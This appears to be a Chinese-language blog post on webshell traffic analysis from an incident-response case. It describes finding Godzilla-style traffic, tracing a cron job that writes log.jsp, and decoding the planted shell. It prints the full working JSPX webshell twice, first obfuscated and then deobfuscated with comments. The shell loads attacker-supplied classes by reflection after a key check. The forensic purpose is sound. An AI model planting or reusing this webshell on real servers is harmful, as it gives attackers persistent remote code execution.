我真的对很多事情充满疑惑

背景

  • 前几天,公司培训部的同事找我,和我讨论了一下有关 webshell 解密的事情,和他说完了以后就打算写一篇文章记录下来。顺便找他要一下前场拿到的流量数据包。

webshell 解密流程

  • 解密过程首先从拿到情报开始,这条情报可能是一条告警;一个 IP;一条客户提供的信息等等。先要发现 webshell 流量才能解密,不是吗?
  • 找到疑似 webshell 的流量后,先通过肉眼判断是否是 webshell,这里方法很多,比如 Godzilla 和冰蝎的默认情况下的明显流量特征,公网 IP 和内部 IP 的访问关系,或者和客户确认。只需要大概觉得可疑,就可以进行下一步了。
  • 连接 webshell 时是通过 URI 进行访问的,你在全流量设备中回查这个 URI,然后找到上传的时间和内容,将 webshell 内容还原出来(前面确认 webshell 流量如果是和客户确认的,可以直接找客户从本地文件提取 webshell)。webshell 既然能通过流量和攻击者进行交互,那么其中一定包含了解密代码,将解密代码提取出来或者用其他语言重新写一个解密脚本。
  • 再次回溯,将访问了这个 webshell 的 URI 的所有流量下载下来。利用解密脚本将流量解密分析即可。
  • 后续处置,根据上传 webshell 后攻击者执行的操作来判断,如果横向了就进一步继续排查,如果信息泄露了及时上报。

webshell 解密实战

  • 下面是 2023 年 HW 的客户现场流量,这里以此作为案例分析。这是从受害服务器上下载的流量。

受害流量
受害流量

  • 该流量是通过告警发现的 webshell 流量,通过告警提示在流量中过滤,找到了告警流量。
    告警 URL 过滤
    告警 URL 过滤
  • 打开 HTTP 会话查看,一眼哥斯拉流量。
    哥斯拉流量特征
    哥斯拉流量特征
  • 这个流量很有意思,访问同一个 URL,但是出现了两种 webshell 流量,一种是上面截图中的哥斯拉流量,另一种是自定义的一种 webshell。流量截图如下:
    另一个 webshell
    另一个 webshell
  • 这个流量其实乍一看除了 password 字符串之外,不像 webshell 啊,为什么说他是 webshell 呢?这个一会揭晓。这里有个很有趣的现象,访问了同一个 URL ,但是使用了不同的请求格式,而且两种请求格式是交替出现,不是另一个出现后前一个就消失了这种,那必须要考虑最坏的情况,内存马。根据后面的分析啊,这里只能说,那个哥斯拉流量大概率是内存马,类似于 Windows 中的 HOOK 技术,将这个 URL 的流量拿去分析,如果能解析则执行,解析不了则交给服务器执行。
  • 既然确定了 webshell 的流量通信,下面进行第二步,回溯 URL。通过特征回溯,发现了一个可疑的定时任务。

可疑定时任务
可疑定时任务

  • 在这个定时任务中,将一串字符 base64 解码后写入了 log.jsp 和 log.jspx,如下:

定时任务
定时任务

  • 找到了 webshell 上传时流量了,下面要将 webshell 还原。先把流量中字符串复制出来,再进行 base64 解码获取 webshell。

base64 解码
base64 解码

  • 新建一个 jsp,将其复制进去,调整缩进,如下:

    <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration> 
    String px = "55db5bccd50030e183340477429caa87";
    public byte[] e(byte[] data) {
      String hexRaw = String.format("%x", new java.math.BigInteger(1, data));
      char[] hexRawArr = hexRaw.toCharArray();
      StringBuilder hexFmtStr = new StringBuilder();
      final String SEP = "au";
      hexFmtStr.append("{\"data\":\"");
      for (int i = 0; i &lt; hexRawArr.length; i++) {
          hexFmtStr.append(SEP).append(hexRawArr[i]).append(hexRawArr[++i]);
      }
      hexFmtStr.append("\",\"timestamp\":").append(System.currentTimeMillis()).append("}");
      return hexFmtStr.toString().getBytes();
    }
    
    public byte[] d(byte[] data) {
      String dataStr = new String(data);
      String[] strArr = dataStr.split("au");
      byte[] byteArr = new byte[strArr.length - 1];
      for (int i = 1; i &lt; strArr.length; i++) {
          Integer hexInt = Integer.decode("0x" + strArr[i]);
          byteArr[i - 1] = hexInt.byteValue();
      }
      return byteArr;
    }
    
    public static byte[] r(java.io.InputStream i) {
      byte[] temp = new byte[1024];
      java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
      int n;
      try {
          while((n = i.read(temp)) != -1) {
              bos.write(temp, 0, n);
          }
      } catch (Exception v) {}
      return bos.toByteArray();
    }
    </jsp:declaration><jsp:scriptlet>
    
    try{
      byte[] ds = r(request.getInputStream());
      byte[] p  = new byte[32];
      System.arraycopy(ds, 58, p, 0, p.length);
      byte[] dr = new byte[ds.length-128];
      System.arraycopy(ds, 100, dr, 0, dr.length);
      byte[] data = d(dr);
      if (java.util.Arrays.equals(p, px.getBytes())){
          if (session.getAttribute("ve")==null){
              Class cc = Class.forName("c"+new String(new byte[]{111,109,46,115,117,110,46,106,109,120,46,114,101,109,111,116,101,46,117,116,105,108,46,79,114,100,101,114,67,108,97,115,115,76,111,97,100,101,114})+"s");
              Object a = Thread.currentThread().getContextClassLoader();
              Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a,a);
              java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("d"+new String(new byte[]{101,102,105,110,101,67,108,97,115})+"s", byte[].class,int.class,int.class);
              c.setAccessible(true);
              Class zz=(Class) c.invoke(b, new Object[]{data, 0, data.length});
              session.setAttribute("ve",zz);
          }
          else{
              request.setAttribute("p"+new String(new byte[]{97,114,97,109,101,116,101,114})+"s", data);
              Object f=((Class)session.getAttribute("ve")).newInstance();
              java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
              f.equals(arrOut);
              f.equals(pageContext);
              f.toString();
              response.setHeader("Content-Type","application/json");
              response.getOutputStream().write(e(arrOut.toByteArray()));
          }
      }
    }catch (Exception e){}
    </jsp:scriptlet>
    </jsp:root>
  • 代码也不长,手动解一下加添加注释。如下:

    <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:declaration> 
    String px = "55db5bccd50030e183340477429caa87";
    public byte[] byteTransfor(byte[] data) {
      // 将输入的 byte 数组转换成特定格式的十六进制字符串,并返回对应的 byte 数组。
      String hexRaw = String.format("%x", new java.math.BigInteger(1, data));
      char[] hexRawArr = hexRaw.toCharArray();
      StringBuilder hexFmtStr = new StringBuilder();
      final String SEP = "au";
      hexFmtStr.append("{\"data\":\"");
      for (int i = 0; i &lt; hexRawArr.length; i++) {
          hexFmtStr.append(SEP).append(hexRawArr[i]).append(hexRawArr[++i]);
      }
      hexFmtStr.append("\",\"timestamp\":").append(System.currentTimeMillis()).append("}");
      return hexFmtStr.toString().getBytes();
    }
    
    public byte[] decodeByte(byte[] data) {
      String dataStr = new String(data);
      String[] strArr = dataStr.split("au"); // "au" 作为分隔符,切分并保存在数组中。
      byte[] byteArr = new byte[strArr.length - 1];
      for (int i = 1; i &lt; strArr.length; i++) {
          Integer hexInt = Integer.decode("0x" + strArr[i]); // 使用Integer.decode方法将每个非空的子字符串解析为 16 进制的整数,加上前缀"0x",例如"0x12"。
          byteArr[i - 1] = hexInt.byteValue(); // 解析后的整数转换为 byte 类型,并存储到 byteArr 数组中,索引为 i - 1。
      }
      return byteArr;
    }
    
    public static byte[] readInput(java.io.InputStream input) {
      byte[] temp = new byte[1024]; // 每次输入最多 1024B
      java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
      int n; // 实际读取字节流长度
      try {
          while((n = input.read(temp)) != -1) {
              bos.write(temp, 0, n);
          }
      } catch (Exception v) {}
      return bos.toByteArray(); // 将bos中存储的数据转换为字节数组并返回。
    }
    </jsp:declaration><jsp:scriptlet>
    
    try{
      byte[] ds = readInput(request.getInputStream());
      byte[] p  = new byte[32]; // 密钥
      System.arraycopy(ds, 58, p, 0, p.length); // 从 ds 的第 58 个元素往后的 32 个 byte 复制到 p 中。
      byte[] dr = new byte[ds.length-128];
      System.arraycopy(ds, 100, dr, 0, dr.length);
      byte[] data = decodeByte(dr);
      if (java.util.Arrays.equals(p, px.getBytes())){ // 判断解析出来的密钥 p 和内置密钥 px 是否相同。
          if (session.getAttribute("ve")==null){ 
              Class cc = Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");
              Object a = Thread.currentThread().getContextClassLoader();
              Object b = cc.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class}).newInstance(a,a);
              java.lang.reflect.Method c = cc.getSuperclass().getDeclaredMethod("defineClass", byte[].class,int.class,int.class);
              c.setAccessible(true);
              Class zz=(Class) c.invoke(b, new Object[]{data, 0, data.length});
              session.setAttribute("ve",zz); // 将 Class 对象 z 设置成会话的 ve 属性。
          }
          else{
              request.setAttribute(parameters, data);
              Object f=((Class)session.getAttribute("ve")).newInstance(); // 从session中获取名为"ve"的属性值,并强制转换为 Class 类型。然后 newInstance 方法创建实例并返回给 f。
              java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
              f.equals(arrOut);
              f.equals(pageContext);
              f.toString();
              response.setHeader("Content-Type","application/json");
              response.getOutputStream().write(byteTransfor(arrOut.toByteArray())); // 使用 response.getOutputStream 方法获取响应的 OutputStream 流,然后调用 write 方法将e(arrOut.toByteArray())的结果写入响应流。
          }
      }
    }catch (Exception e){}
    </jsp:scriptlet>
    </jsp:root>
  • 后续就是找个环境动态调试,将流量内容解出来即可。我本地虚拟机噶了,快照也无法恢复,过几天修一下再弄吧。